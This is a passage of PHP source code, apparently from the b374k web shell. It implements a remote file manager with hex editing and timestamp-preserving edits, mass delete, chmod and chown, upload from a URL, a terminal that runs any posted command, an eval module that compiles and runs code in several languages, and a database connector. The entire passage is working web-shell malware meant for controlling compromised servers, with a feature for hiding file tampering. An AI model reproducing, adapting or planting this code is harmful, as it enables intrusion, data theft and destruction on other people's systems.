($preserveTimestamp==\'true\')? " cBoxSelected":""; $content = "<table id=\'editTbl\'><tr><td colspan=\'2\'><input type=\'text\' id=\'editFilename\' class=\'colSpan\' value=\'".html_safe($file)."\' onkeydown=\\"trap_enter(event, \'edit_save_raw\');\\"></td></tr><tr><td class=\'colFit\'><span class=\'button\' onclick=\\"edit_save_raw();\\">save</span></td><td style=\'vertical-align:middle;\'><div class=\'cBox".$preservecbox."\'></div><span>preserve modification timestamp</span><span id=\'editResult\'></span></td></tr><tr><td colspan=\'2\'><textarea id=\'editInput\' spellcheck=\'false\' onkeydown=\\"trap_ctrl_enter(this, event, \'edit_save_raw\');\\">".html_safe(read_file($file))."</textarea></td></tr></table>"; } elseif($type=="hex"){ $preservecbox = ($preserveTimestamp==\'true\')? " cBoxSelected":""; $content = "<table id=\'editTbl\'><tr><td colspan=\'2\'><input type=\'text\' id=\'editFilename\' class=\'colSpan\' value=\'".html_safe($file)."\' onkeydown=\\"trap_enter(event, \'edit_save_hex\');\\"></td></tr><tr><td class=\'colFit\'><span class=\'button\' onclick=\\"edit_save_hex();\\">save</span></td><td style=\'vertical-align:middle;\'><div class=\'cBox".$preservecbox."\'></div><span>preserve modification timestamp</span><span id=\'editHexResult\'></span></td></tr><tr><td colspan=\'2\'><textarea id=\'editInput\' spellcheck=\'false\' onkeydown=\\"trap_ctrl_enter(this, event, \'edit_save_hex\');\\">".bin2hex(read_file($file))."</textarea></td></tr></table>"; } else $content = "<pre>".html_safe(read_file($file))."</pre>"; $output .= " <table id=\'viewFile\' class=\'boxtbl\'> <tr><td style=\'width:120px;\'>Filename</td><td>".html_safe($file)."</td></tr> <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr> ".$owner." <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr> <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr> <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr> <tr data-path=\'".html_safe($file)."\'><td colspan=\'2\'> <span class=\'navigate button\' style=\'width:120px;\'>explorer</span> <span class=\'action button\' style=\'width:120px;\'>action</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'raw\');hide_box();\\">raw</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'code\');hide_box();\\">code</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'hex\');hide_box();\\">hex</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'image\');hide_box();\\">image</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'multimedia\');hide_box();\\">multimedia</span> </td></tr> <tr><td colspan=\'2\'><div id=\'viewFilecontent\'>".$content."</div></td></tr> </table>"; } else $output = "error"; return $output; }\n} if(!function_exists(\'get_writabledir\')){ function get_writabledir(){ if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; else{ foreach(array(\'TMP\', \'TEMP\', \'TMPDIR\') as $k){ if(!empty($_ENV[$k])){ if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; } } if(function_exists("sys_get_temp_dir")){ $dir = sys_get_temp_dir(); if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; } else{ if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } } $tempfile = tempnam(__FILE__,\'\'); if(file_exists($tempfile)){ $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; unlink($tempfile); return $dir; } } return false; }\n} if(!function_exists(\'get_drives\')){ function get_drives(){ $drives = ""; $v = explode("\\\\", get_cwd()); $v = $v[0]; foreach (range("A", "Z") as $letter){ if(@is_readable($letter.":\\\\")){ $drives .= "<a class=\'navbar\' data-path=\'".$letter.":\\\\\'>[ "; if($letter.":" != $v) $drives .= $letter; else{$drives .= "<span class=\'drive-letter\'>".$letter."</span>";} $drives .= " ]</a> "; } } return $drives; }\n} if(!function_exists(\'show_all_files\')){ function show_all_files($path){ if(!is_dir($path)) return "No such directory : ".$path; chdir($path); $output = ""; $allfiles = $allfolders = array(); if($res = opendir($path)){ while($file = readdir($res)){ if(($file!=\'.\')&&($file!="..")){ if(is_dir($file)) $allfolders[] = $file; elseif(is_file($file))$allfiles[] = $file; } } } array_unshift($allfolders, "."); $cur = getcwd(); chdir(".."); if(getcwd()!=$cur) array_unshift($allfolders, ".."); chdir($cur); natcasesort($allfolders); natcasesort($allfiles); $cols = array(); if(is_win()){ $cols = array( "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } else{ $cols = array( "owner"=>"get_fileowner", "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } $totalFiles = count($allfiles); $totalFolders = 0; $output .= "<table id=\'xplTable\' class=\'dataView sortable\'><thead>"; $output .= "<tr><th class=\'col-cbox sorttable_nosort\'><div class=\'cBoxAll\'></div></th><th class=\'col-name\'>name</th><th class=\'col-size\'>size</th>"; foreach($cols as $k=>$v){ $output .= "<th class=\'col-".$k."\'>".$k."</th>"; } $output .= "</tr></thead><tbody>"; foreach($allfolders as $d){ $cboxException = ""; if(($d==".")||($d=="..")){ $action = "actiondot"; $cboxException = " cBoxException"; } else{ $action = "actionfolder"; $totalFolders++; } $output .= " <tr data-path=\\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\\"><td><div class=\'cBox".$cboxException."\'></div></td> <td style=\'white-space:normal;\'><a class=\'navigate\'>[ ".html_safe($d)." ]</a><span class=\'".$action." floatRight\'>action</span></td> <td>DIR</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k==\'modified\') $sortable = " title=\'".filemtime($d)."\'"; $output .= "<td".$sortable.">".$v($d)."</td>"; } $output .= "</tr>"; } foreach($allfiles as $f){ $output .= " <tr data-path=\\"".html_safe(realpath($f))."\\"><td><div class=\'cBox\'></div></td> <td style=\'white-space:normal;\'><a class=\'view\'>".html_safe($f)."</a><span class=\'action floatRight\'>action</span></td> <td title=\'".filesize($f)."\'>".get_filesize($f)."</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k==\'modified\') $sortable = " title=\'".filemtime($f)."\'"; $output .= "<td".$sortable.">".$v($f)."</td>"; } $output .= "</tr>"; } $output .= "</tbody><tfoot>"; $colspan = 1 + count($cols); $output .= "<tr><td><div class=\'cBoxAll\'></div></td><td> <select id=\'massAction\' class=\'colSpan\'> <option disabled selected>Action</option> <option>cut</option> <option>copy</option> <option>paste</option> <option>delete</option> <option disabled>------------</option> <option>chmod</option> <option>chown</option> <option>touch</option> <option disabled>------------</option> <option>extract (tar)</option> <option>extract (tar.gz)</option> <option>extract (zip)</option> <option disabled>------------</option> <option>compress (tar)</option> <option>compress (tar.gz)</option> <option>compress (zip)</option> <option disabled>------------</option> </select> </td><td colspan=\'".$colspan."\'></td></tr> <tr><td></td><td colspan=\'".++$colspan."\'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class=\'xplSelected\'></span></td></tr> "; $output .= "</tfoot></table>"; return $output; }\n} if(!function_exists(\'eval_get_supported\')){ function eval_get_supported(){ $eval_supported = array(); $eval_supported[] = "php"; $check = strtolower(execute("python -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "python"; $check = strtolower(execute("perl -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; $check = strtolower(execute("ruby -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; $check = strtolower(execute("node -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "node"; else{ $check = strtolower(execute("nodejs -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; } $check = strtolower(execute("gcc --help")); if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; $check = strtolower(execute("java -help")); if(strpos($check,"usage")!==false){ $check = strtolower(execute("javac -help")); if(strpos($check,"usage")!==false) $eval_supported[] = "java"; } return implode(",", $eval_supported); }\n} if(!function_exists(\'eval_go\')){ function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ $res = ""; $output = ""; if($evalOptions!="") $evalOptions = $evalOptions." "; if($evalArguments!="") $evalArguments = " ".$evalArguments; if($evalType=="php"){ ob_start(); eval($evalCode); $res = ob_get_contents(); ob_end_clean(); return $res; } elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($path, 0755)){ $res .= " (ok)\\n"; $cmd = $evalType." ".$evalOptions.$path.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="gcc"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".c"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $ext = (is_win())? ".exe":".out"; $pathres = $filename.$ext; $evalOptions = "-o ".$pathres." ".$evalOptions; $cmd = "gcc ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); if(is_file($pathres)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\\n"; $cmd = $pathres.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="java"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; if(preg_match("/class\\ ([^{]+){/i",$evalCode, $r)){ $classname = trim($r[1]); $filename = $classname; } else{ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $evalCode = "class ".$filename." { ".$evalCode . " } "; } $path = $filename.".java"; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $cmd = "javac ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); $pathres = $filename.".class"; if(is_file($pathres)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\\n"; $cmd = "java ".$filename.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="executable"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".exe"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $cmd = $path.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } return false; }\n} if(!function_exists(\'output\')){ function output($str){ $error = @ob_get_contents(); @ob_end_clean(); header("Content-Type: text/plain"); header("Cache-Control: no-cache"); header("Pragma: no-cache"); echo $str; die(); }\n} if(!function_exists(\'is_git_repo\')){ function is_git_repo(){ return boolval( find_git_repo(getcwd().DIRECTORY_SEPARATOR.".git") ); }\n} if(!function_exists(\'find_git_repo\')){ function find_git_repo($path){ if(dirname($path) == DIRECTORY_SEPARATOR){ return false; }else if(is_dir(dirname($path).DIRECTORY_SEPARATOR.".git")){ return dirname($path).DIRECTORY_SEPARATOR.".git"; }else{ return find_git_repo(dirname($path)); } }\n} ?><?php block_bot();\nauth();\nchdir(get_cwd());\n$nav = get_nav(get_cwd());\n$p = array_map("rawurldecode", get_post());\n$cwd = html_safe(get_cwd());\n$GLOBALS[\'module\'] = array(); $explorer_content = "";\nif(isset($p[\'viewEntry\'])){ $path = trim($p[\'viewEntry\']); if(is_file($path)){ $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; setcookie("cwd", $dirname); chdir($dirname); $nav = get_nav($dirname); $cwd = html_safe($dirname); $explorer_content = view_file($path, "auto"); } elseif(is_dir($path)){ $path = realpath($path).DIRECTORY_SEPARATOR; setcookie("cwd", $path); chdir($path); $nav = get_nav($path); $cwd = html_safe($path); $explorer_content = show_all_files($path); }\n}\nelse $explorer_content = show_all_files(get_cwd()); $GLOBALS[\'module\'][\'explorer\'][\'id\'] = "explorer";\n$GLOBALS[\'module\'][\'explorer\'][\'title\'] = "Explorer";\n$GLOBALS[\'module\'][\'explorer\'][\'js_ontabselected\'] = "";\n$GLOBALS[\'module\'][\'explorer\'][\'content\'] = $explorer_content; $GLOBALS[\'module\'][\'terminal\'][\'id\'] = "terminal";\n$GLOBALS[\'module\'][\'terminal\'][\'title\'] = "Terminal";\n$GLOBALS[\'module\'][\'terminal\'][\'js_ontabselected\'] = "\nif((!portableMode) && ($(\'#terminalOutput\').html()==\'\')) $(\'#terminalInput\').focus();";\n$GLOBALS[\'module\'][\'terminal\'][\'content\'] = "<pre id=\'terminalOutput\'></pre><table id=\'terminalPrompt\'><tr><td class=\'colFit\'><span id=\'terminalCwd\' class=\'strong\'>".get_cwd()."&gt;</span</td><td id=\'terminalCommand\'><input type=\'text\' id=\'terminalInput\' class=\'floatLeft\' spellcheck=\'false\'></td></tr></table>"; $GLOBALS[\'module\'][\'eval\'][\'id\'] = "eval";\n$GLOBALS[\'module\'][\'eval\'][\'title\'] = "Eval";\n$GLOBALS[\'module\'][\'eval\'][\'js_ontabselected\'] = "\nif((!portableMode) && ($(\'#evalOutput\').html()==\'You can also press ctrl+enter to submit\')) $(\'#evalInput\').focus();";\n$GLOBALS[\'module\'][\'eval\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'4\'><p class=\'boxtitle\'>Eval</p></th></tr>\n</thead>\n<tbody> <tr><td colspan=\'4\'><textarea id=\'evalInput\' spellcheck=\'false\' style=\'height:140px;min-height:140px;\'></textarea></td></tr> <tr id=\'evalAdditional\'><td colspan=\'4\'> <input type=\'text\' id=\'evalOptions\' value=\'Options/Switches\' spellcheck=\'false\' onkeydown=\\"trap_enter(event, \'eval_go\');\\"> <input type=\'text\' id=\'evalArguments\' value=\'Arguments\' spellcheck=\'false\' onkeydown=\\"trap_enter(event, \'eval_go\');\\"> </td></tr> <tr> <td style=\'width:144px;\'> <select id=\'evalType\'> </select> </td> <td colspan=\'3\'> <span id=\'evalSubmit\' style=\'width:120px;\' class=\'button\' onclick=\\"eval_go();\\">run</span> </td> </tr> <tr><td colspan=\'4\'><pre id=\'evalOutput\'>You can also press ctrl+enter to submit</pre></td</tr>\n</tbody>\n</table>\n"; $res = "";\nif(isset($p[\'cd\'])){ $path = $p[\'cd\']; if(trim($path)==\'\') $path = dirname(__FILE__); $path = realpath($path); if(is_file($path)) $path = dirname($path); if(is_dir($path)){ chdir($path); $path = $path.DIRECTORY_SEPARATOR; setcookie("cwd", $path); $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; if(isset($p[\'showfiles\'])&&($p[\'showfiles\']==\'true\')){ $res .= show_all_files($path); } } else $res = "error"; output($res);\n}\nelseif(isset($p[\'viewFile\']) && isset($p[\'viewType\'])){ $path = trim($p[\'viewFile\']); $type = trim($p[\'viewType\']); $preserveTimestamp = trim($p[\'preserveTimestamp\']); if(is_file($path)){ $res = view_file($path, $type, $preserveTimestamp); } else $res = "error"; output($res);\n}\nelseif(isset($p[\'renameFile\']) && isset($p[\'renameFileTo\'])){ $renameFile = trim($p[\'renameFile\']); $renameFileTo = trim($p[\'renameFileTo\']); if(file_exists($renameFile)){ if(rename($renameFile, $renameFileTo)){ $res = dirname($renameFileTo); } else $res = "error"; } else $res = "error"; output($res);\n}\nelseif(isset($p[\'newFolder\'])){ $newFolder = trim($p[\'newFolder\']); if(mkdir($newFolder)){ $res = dirname($newFolder); } else $res = "error"; output($res);\n}\nelseif(isset($p[\'newFile\'])){ $newFile = trim($p[\'newFile\']); if(touch($newFile)){ $res = dirname($newFile); } else $res = "error"; output($res);\n}\nelseif(isset($p[\'delete\'])){ $path = trim($p[\'delete\']); $dirname = dirname($path); if(is_file($path)){ if(unlink($path)) $res = $dirname; } elseif(is_dir($path)){ if(rmdirs($path)>0) $res = $dirname; } else $res = "error"; if(file_exists($path)) $res = "error"; output($res);\n}\nelseif(isset($p[\'editType\'])&&isset($p[\'editFilename\'])&&isset($p[\'editInput\'])&&isset($p[\'preserveTimestamp\'])){ $editFilename = trim($p[\'editFilename\']); $editInput = trim($p[\'editInput\']); $editType = trim($p[\'editType\']); $preserveTimestamp = trim($p[\'preserveTimestamp\']); $time = filemtime($editFilename); if($editType==\'hex\') $editInput = pack("H*" , preg_replace("/\\s/","", $editInput)); if(write_file($editFilename, $editInput)){ $res = $editFilename; if($preserveTimestamp==\'true\') touch($editFilename, $time); } else $res = "error"; output($res);\n}\nelseif(isset($p[\'findType\'])){ $findType = trim($p[\'findType\']); $findPath = trim($p[\'findPath\']); $findName = trim($p[\'findName\']); $findNameRegex = trim($p[\'findNameRegex\']); $findNameInsensitive = trim($p[\'findNameInsensitive\']); $findContent = trim($p[\'findContent\']); $findContentRegex = trim($p[\'findContentRegex\']); $findContentInsensitive = trim($p[\'findContentInsensitive\']); $findReadable = trim($p[\'findReadable\']); $findWritable = trim($p[\'findWritable\']); $findExecutable = trim($p[\'findExecutable\']); $candidate = get_all_files($findPath); if($findType==\'file\') $candidate = array_filter($candidate, "is_file"); elseif($findType==\'folder\') $candidate = array_filter($candidate, "is_dir"); else $res = "error"; foreach($candidate as $k){ if(($findType=="file")||($findType=="folder")){ if(!empty($findName)){ if($findNameRegex=="true"){ $case = ($findNameInsensitive=="true")? "i":""; if(!preg_match("/".$findName."/".$case, basename($k))){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findNameInsensitive=="true"){ $check = strpos(strtolower(basename($k)), strtolower($findName))===false; } else{ $check = strpos(basename($k), $findName)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } if($findType=="file"){ if(!empty($findContent)){ $content = read_file($k); if($findContentRegex=="true"){ $case = ($findContentInsensitive=="true")? "i":""; if(!preg_match("/".$findContent."/".$case, $content)){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findContentInsensitive=="true"){ $check = strpos(strtolower($content), strtolower($findContent))===false; } else{ $check = strpos($content, $findContent)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } } foreach($candidate as $k){ if($findReadable=="true"){ if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); } if($findWritable=="true"){ if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); } if($findExecutable=="true"){ if(!is_executable($k)) $candidate = array_diff($candidate, array($k)); } } if(count($candidate)>0){ $res = ""; foreach($candidate as $k){ $res .= "<p><span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($k)."\' onclick=\'view_entry(this);\'>".html_safe($k)."</a></p>"; } } else $res = ""; output($res);\n}\nelseif(isset($p[\'ulType\'])){ $ulSaveTo = trim($p[\'ulSaveTo\']); $ulFilename = trim($p[\'ulFilename\']); if($p[\'ulType\']==\'comp\'){ $ulFile = $_FILES[\'ulFile\']; if(empty($ulFilename)) $ulFilename = $ulFile[\'name\']; if(is_uploaded_file($ulFile[\'tmp_name\'])){ if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(move_uploaded_file($ulFile[\'tmp_name\'], $newfile)){ $res = "<span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($newfile)."\' onclick=\'view_entry(this);\'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; } elseif($p[\'ulType\']==\'url\'){ $ulFile = trim($p[\'ulFile\']); if(empty($ulFilename)) $ulFilename = basename($ulFile); if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(download($ulFile, $newfile)){ $res = "<span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($newfile)."\' onclick=\'view_entry(this);\'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; output($res);\n}\nelseif(isset($p[\'download\'])){ $file = trim($p[\'download\']); if(is_file($file)){ header("Content-Type: application/octet-stream"); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".filesize($file)); header("Cache-Control: no-cache"); header("Pragma: no-cache"); header("Content-disposition: attachment; filename=\\"".basename($file)."\\";"); $handler = fopen($file,"rb"); while(!feof($handler)){ print(fread($handler, 1024*8)); @ob_flush(); @flush(); } fclose($handler); die(); }\n}\nelseif(isset($p[\'multimedia\'])){ $file = trim($p[\'multimedia\']); $mime_list = get_resource(\'mime\'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$file_ext."\\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if(is_file($file)){ header("Content-Type: ".$mime); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".filesize($file)); echo "data:".$mime.";base64,".base64_encode(read_file($file)); die(); }\n}\nelseif(isset($p[\'massType\'])&&isset($p[\'massBuffer\'])&&isset($p[\'massPath\'])&&isset($p[\'massValue\'])){ $massType = trim($p[\'massType\']); $massBuffer = trim($p[\'massBuffer\']); $massPath = realpath($p[\'massPath\']).DIRECTORY_SEPARATOR; $massValue = trim($p[\'massValue\']); $counter = 0; $massBufferArr = explode("\\n", $massBuffer); if(($massType==\'tar\')||($massType==\'targz\')||($massType==\'zip\')){ if(compress($massType, $massValue, $massBufferArr)){ $counter++; return $counter; } } else{ foreach($massBufferArr as $k){ $path = trim($k); if(file_exists($path)){ $preserveTimestamp = filemtime($path); if($massType==\'delete\'){ if(is_file($path)){ if(unlink($path)) $counter++; } elseif(is_dir($path)){ if(rmdirs($path)>0) $counter++; } } elseif($massType==\'cut\'){ $dest = $massPath.basename($path); if(rename($path, $dest)){ $counter++; touch($dest, $preserveTimestamp); } } elseif($massType==\'copy\'){ $dest = $massPath.basename($path); if(is_dir($path)){ if(copys($path, $dest)>0) $counter++; } elseif(is_file($path)){ if(copy($path, $dest)) $counter++; } } elseif(($massType==\'untar\')||($massType==\'untargz\')||($massType==\'unzip\')){ if(decompress($massType, $path, $massValue)){ $counter++; return $counter; } } elseif(!empty($massValue)){ if($massType==\'chmod\'){ if(chmod($path, octdec($massValue))) $counter++; } elseif($massType==\'chown\'){ if(chown($path, $massValue)) $counter++; } elseif($massType==\'touch\'){ if(touch($path, strtotime($massValue))) $counter++; } } } } } if($counter>0) output($counter); output(\'error\');\n}\nelseif(isset($p[\'viewFileorFolder\'])){ $entry = $p[\'viewFileorFolder\']; if(is_file($entry)) output(\'file\'); elseif(is_dir($entry)) output(\'folder\'); output(\'error\');\n}\nelseif(isset($p[\'terminalInput\'])){ output(html_safe(execute($p[\'terminalInput\'])));\n}\nelseif(isset($p[\'evalInput\']) && isset($p[\'evalType\'])){ $evalInput = $p[\'evalInput\']; $evalOptions = (isset($p[\'evalOptions\']))? $p[\'evalOptions\']:""; $evalArguments = (isset($p[\'evalArguments\']))? $p[\'evalArguments\']:""; $evalType = $p[\'evalType\']; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'html_errors\',\'0\'); @ini_set(\'display_errors\',\'1\'); @ini_set(\'display_startup_errors\',\'1\'); $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); if($res===false) $res == "error"; output(html_safe($res));\n}\nelseif(isset($p[\'evalGetSupported\'])){ $res = eval_get_supported(); output($res);\n}\n?><?php\n$GLOBALS[\'module\'][\'convert\'][\'id\'] = "convert";\n$GLOBALS[\'module\'][\'convert\'][\'title\'] = "Convert";\n$GLOBALS[\'module\'][\'convert\'][\'js_ontabselected\'] = "\nif((!portableMode) && ($(\'#decodeResult\').children().length==1)) $(\'#decodeStr\').focus();";\n$GLOBALS[\'module\'][\'convert\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Convert</p></th></tr>\n</thead>\n<tbody> <tr><td colspan=\'2\'><textarea style=\'height:140px;min-height:140px;\' id=\'decodeStr\'></textarea></td></tr> <tr><td colspan=\'2\'><span class=\'button\' onclick=\'decode_go();\'>convert</span></td></tr>\n</tbody>\n<tfoot id=\'decodeResult\'><tr><td colspan=\'2\'>You can also press ctrl+enter to submit</td></tr></tfoot>\n</table>"; if(!function_exists(\'decode\')){ function decode($str){ $res = ""; $length = (int) strlen($str); $res .= decode_line("md5", md5($str), "input"); $res .= decode_line("sha1", sha1($str), "input"); $res .= decode_line("base64 encode", base64_encode($str), "textarea"); $res .= decode_line("base64 decode", base64_decode($str), "textarea"); $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); $res .= decode_line("string to hex", bin2hex($str), "textarea"); $ascii = ""; for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists(\'hash_algos\')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo==\'md5\')||($algo==\'sha1\')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; }\n} if(!function_exists(\'decode_line\')){ function decode_line($type, $result, $inputtype){ $res = "<tr><td class=\'colFit\'>".$type."</td><td>"; if($inputtype==\'input\'){ $res .= "<input type=\'text\' value=\'".html_safe($result)."\' ondblclick=\'this.select();\'>"; } else{ $res .= "<textarea style=\'height:80px;min-height:80px;\' ondblclick=\'this.select();\'>".html_safe($result)."</textarea>"; } return $res; }\n} if(isset($p[\'decodeStr\'])){ $decodeStr = $p[\'decodeStr\']; output(decode($decodeStr));\n}\n?><?php\n$GLOBALS[\'module\'][\'database\'][\'id\'] = "database";\n$GLOBALS[\'module\'][\'database\'][\'title\'] = "Database";\n$GLOBALS[\'module\'][\'database\'][\'js_ontabselected\'] = "";\n$GLOBALS[\'module\'][\'database\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'3\'><p class=\'boxtitle\'>Connect</p></th></tr>\n</thead>\n<tbody> <tr class=\'dbHostRow\'><td style=\'width:144px\' class=\'dbHostLbl\'>Host</td><td colspan=\'2\'><input type=\'text\' id=\'dbHost\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbUserRow\'><td>Username</td><td colspan=\'2\'><input type=\'text\' id=\'dbUser\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbPassRow\'><td>Password</td><td colspan=\'2\'><input type=\'text\' id=\'dbPass\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbPortRow\'><td>Port (Optional)</td><td colspan=\'2\'><input type=\'text\' id=\'dbPort\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr>\n</tbody>\n<tfoot> <tr class=\'dbConnectRow\'> <td style=\'width:144px;\'> <select id=\'dbType\'> </select> </td> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_connect();\\">connect</span></td> <td class=\'dbError\'></td> </tr> <tr class=\'dbQueryRow\' style=\'display:none;\'> <td colspan=\'3\'><textarea id=\'dbQuery\' style=\'min-height:140px;height:140px;\'>You can also press ctrl+enter to submit</textarea></td> </tr> <tr class=\'dbQueryRow\' style=\'display:none;\'> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_run();\\">run</span></td> 